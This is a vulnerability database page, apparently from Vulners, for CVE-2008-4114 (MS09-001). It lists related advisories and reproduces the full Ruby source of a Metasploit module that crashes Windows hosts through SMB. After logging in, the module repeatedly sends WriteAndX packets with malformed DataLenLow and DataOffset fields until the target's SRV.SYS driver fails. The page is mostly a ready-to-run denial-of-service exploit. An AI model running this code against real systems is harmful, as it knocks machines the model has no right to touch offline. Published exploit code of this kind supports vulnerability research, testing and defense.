| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| CVE-2008-4114 | 15 Sep 200800:00 | – | circl | |
| Microsoft Windows WRITE_ANDX SMB Processing Denial of Service (CVE-2008-4114) | 29 Jan 200900:00 | – | checkpoint_advisories | |
| CVE-2008-4114 | 16 Sep 200823:00 | – | cve | |
| CVE-2008-4114 | 16 Sep 200823:00 | – | cvelist | |
| Microsoft SRV.SYS WriteAndX Invalid DataOffset | 8 Mar 200908:09 | – | metasploit | |
| CVE-2008-4114 | 16 Sep 200823:00 | – | nvd | |
| Vulnerabilities in SMB Could Allow Remote Code Execution (958687) | 14 Jan 200900:00 | – | openvas | |
| Microsoft SMB Multiple RCE Vulnerabilities (958687) - Active Check | 18 Mar 201000:00 | – | openvas | |
| Vulnerabilities in SMB Could Allow Remote Code Execution (958687) | 14 Jan 200900:00 | – | openvas | |
| Denial of service | 16 Sep 200823:00 | – | prion |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SRV.SYS WriteAndX Invalid DataOffset',
'Description' => %q{
This module exploits a denial of service vulnerability in the
SRV.SYS driver of the Windows operating system.
This module has been tested successfully against Windows Vista.
},
'Author' => [ 'j.v.vallejo[at]gmail.com' ],
'License' => MSF_LICENSE,
'References' =>
[
['MSB', 'MS09-001'],
['OSVDB', '48153'],
['CVE', '2008-4114'],
['BID', '31179'],
]
)
)
deregister_options('SMB::ProtocolVersion')
end
def send_smb_pkt(dlenlow, doffset,fillersize)
connect(versions: [1])
smb_login()
pkt = CONST::SMB_CREATE_PKT.make_struct
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0xc807
pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i
pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i
pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i
pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
pkt['Payload']['SMB'].v['WordCount'] = 24
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['AndXOffset'] = 0xdede
pkt['Payload'].v['FileNameLen'] = 14
pkt['Payload'].v['CreateFlags'] = 0x16
pkt['Payload'].v['AccessMask'] = 0x2019f # Maximum Allowed
pkt['Payload'].v['ShareAccess'] = 7
pkt['Payload'].v['CreateOptions'] = 0x400040
pkt['Payload'].v['Impersonation'] = 2
pkt['Payload'].v['Disposition'] = 1
pkt['Payload'].v['Payload'] = "\x00\\\x00L\x00S\x00A\x00R\x00P\x00C" + "\x00\x00"
simple.client.smb_send(pkt.to_s)
ack = simple.client.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX)
pkt = CONST::SMB_WRITE_PKT.make_struct
data_offset = pkt.to_s.length - 4
filler = Rex::Text.rand_text(fillersize)
pkt['Payload']['SMB'].v['Signature1']=0xcccccccc
pkt['Payload']['SMB'].v['Signature2']=0xcccccccc
pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i
pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i
pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i
pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0xc807
pkt['Payload']['SMB'].v['WordCount'] = 14
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['AndXOffset'] = 0xdede
pkt['Payload'].v['FileID'] = ack['Payload'].v['FileID']
pkt['Payload'].v['Offset'] = 0
pkt['Payload'].v['Reserved2'] = -1
pkt['Payload'].v['WriteMode'] = 8
pkt['Payload'].v['Remaining'] = fillersize
pkt['Payload'].v['DataLenHigh'] = 0
pkt['Payload'].v['DataLenLow'] = dlenlow #<==================
pkt['Payload'].v['DataOffset'] = doffset #<====
pkt['Payload'].v['DataOffsetHigh'] = 0xcccccccc #<====
pkt['Payload'].v['ByteCount'] = fillersize #<====
pkt['Payload'].v['Payload'] = filler
simple.client.smb_send(pkt.to_s)
end
def run
print_line("Attempting to crash the remote host...")
k=72
j=0xffff
while j>10000
i=0xffff
while i>10000
begin
print_line("datalenlow=#{i} dataoffset=#{j} fillersize=#{k}")
send_smb_pkt(i,j,k)
rescue
print_line("rescue")
end
i=i-10000
end
j=j-10000
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation